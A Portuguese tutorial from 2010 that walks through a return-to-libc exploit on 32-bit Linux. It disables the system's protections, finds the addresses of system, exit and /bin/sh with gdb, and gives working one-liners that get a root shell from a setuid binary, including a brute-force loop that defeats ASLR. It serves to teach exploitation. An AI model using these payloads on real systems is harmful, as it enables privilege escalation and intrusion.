Retornando para LibC / Ret2libc ----[ Tema : Retornando para LibC / Ret2libc ] ----[ Autor : m0nad [at] email.com ] ----[ Data : 12/3/2010 ] ----[ Versão : 1.0 ] --Índice - Apresentação - Pré-requisitos - Introdução - Desabilitando Proteções - O Código Vulnerável - Utilizando o GDB - Utilizando a função getenv - A Exploração - Conclusão - Referencias - Agradecimentos - Apresentação Eu sou m0nad, do grupo BugSec ( http://code.google.com/p/bugsec/ ) e integrante do botecounix ( www.botecounix.com.br ), visitem la que tem muita coisa boa. Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico. - Pré-requisitos Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows, um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria, precisamos também de um Linux 32bits, assim como o gcc e gdb. - Introdução A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado de NX bit(Non eXecute) ( http://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito pequeno para colocarmos o nosso shellcode. Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno, para onde nos quisermos. A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc, geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando arbitrário. Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;). - Desabilitando Proteções Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag -fno-stack-protector. ex: $gcc vuln.c -o vuln -fno-stack-protector Para desabilitar o ASLR, basta digitar, como root: # echo 0 > /proc/sys/kernel/randomize_va_space - O Código Vulnerável Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo, como eu mostrei acima. ------------code--------------- #include #include #include int main (int argc, char **argv) { char buffer[4]; if (argc != 2) { puts ("sem argumentos"); exit (1); } strcpy(buffer, argv[1]); } ------------code--------------- Vamos 'verificar' se ele esta vulnerável. $ ./vuln `perl -e 'print "A" x 16'` Falha de segmentação - Utilizando o GDB Percebemos a falha, vamos olhar no gdb o que esta acontecendo. $ gdb vuln GNU gdb (GDB) ... ... (gdb) r `perl -e 'print "A" x 16'` Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'` Program received signal SIGSEGV, Segmentation fault. 0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6 Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido apenas o ebp, vamos ver. (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x414140fd 1094795517 ebx 0xb7fcdff4 -1208164364 esp 0xbffff44c 0xbffff44c ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0xb7eb7286 0xb7eb7286 <_setjmp+6> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Veja, ebp 0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto vamos colocar mais 4 bytes, e ver se pegamos o eip. (gdb) r `perl -e 'print "A" x 16 . "BBBB" '` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos ver qual o endereço da função system, para colocarmos no lugar do retaddr. (gdb) b main Breakpoint 1 at 0x80484b7 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/vuln ] Breakpoint 1, 0x080484b7 in main () (gdb) p system $1 = {} 0x80483a0 Outra maneira de se descobrir, e adicionando essa linha ao código -- printf ("system() = %p\n", system); -- $ ./vuln asdf system() = 0x80483a0 Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como você já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como abaixo. push $endereço de /bin/sh call $endereco de system Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump para o código da função, no caso da função system(). Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim: [ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ] Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system. . (gdb) b main Breakpoint 1 at 0x80484b7 (gdb) p exit $1 = {} 0x80483f0 Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma. $ export TEST="/bin/sh" Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes, ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo. $ export TEST=" /bin/sh" Para pegarmos o endereço usando o gdb. (gdb) b main Breakpoint 1 at 0x80484b7 (gdb) r Starting program: /home/m0nad/vuln Breakpoint 1, 0x080484b7 in main () (gdb) x/2000s $esp Vão aparecer muitos endereços, com muita coisa, você dever ir dando , e geralmente no final, estará assim: 0xbffffdff: "TEST=", ' ' , "/bin/sh" (gdb) x/s 0xbffffdff 0xbffffdff: "TEST=", ' ' , "/bin/sh" (gdb) x/s 0xbffffdff+10 0xbffffe09: ' ' , "/bin/sh" Nesse caso, usaremos o endereço 0xbffffe09. - Utilizando a função getenv A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo ------------code--------------- #include #include int main (int argc, char **argv) { char *path; if (argc < 2 ) { puts("Sem argumentos"); exit(1); } path = getenv (argv[1]); if (path!=NULL) printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path); return 0; } ------------code--------------- $ ./getenv TEST O endereço e': 0xbffffdf5 Seu conteúdo e': /bin/sh Pronto, já temos os endereços que precisamos. system 0x80483a0 exit 0x80483f0 /bin/sh 0xbffffdf5 - A Exploração Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça: # chown root vuln # chmod +s vuln Agora vamos exploita-lo. $ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'` # id uid=1000(m0nad) gid=1000(m0nad) euid=0(root) # Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa do little endian, como na exploração de overflows normal. - Burlando ASLR Vamos ativar o ASLR agora # echo 2 > /proc/sys/kernel/randomize_va_space O endereço da função system não muda, mas a variável exportada muda, veja: m0nad@desktop:~$ ./getenv TEST O endereço e': 0xbfaeddff Seu conteúdo e': /bin/sh m0nad@desktop:~$ ./getenv TEST O endereço e': 0xbfe78dff Seu conteúdo e': /bin/sh m0nad@desktop:~$ ./getenv TEST O endereço e': 0xbfdc0dff Seu conteúdo e': /bin/sh m0nad@desktop:~$ ./getenv TEST O endereço e': 0xbfb6bdff Seu conteúdo e': /bin/sh Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes, até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço 0xbfb6bdff como exemplo: $ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done # id uid=1000(m0nad) gid=1000(m0nad) euid=0(root) Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando alguma hora, para o nosso endereço. Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem. - Conclusão Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica. Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota. Acredito que o melhor jeito é ainda escrever um bom código. - Referencias Return-to-libc attack - Wiki http://en.wikipedia.org/wiki/Return-to-libc_attack Arc injection / Return to libc http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html Bypassing non-executable-stack during exploitation using return-to-libc http://www.exploit-db.com/papers/31 - Agradecimentos Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K. Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco e tem me ajudado bastante.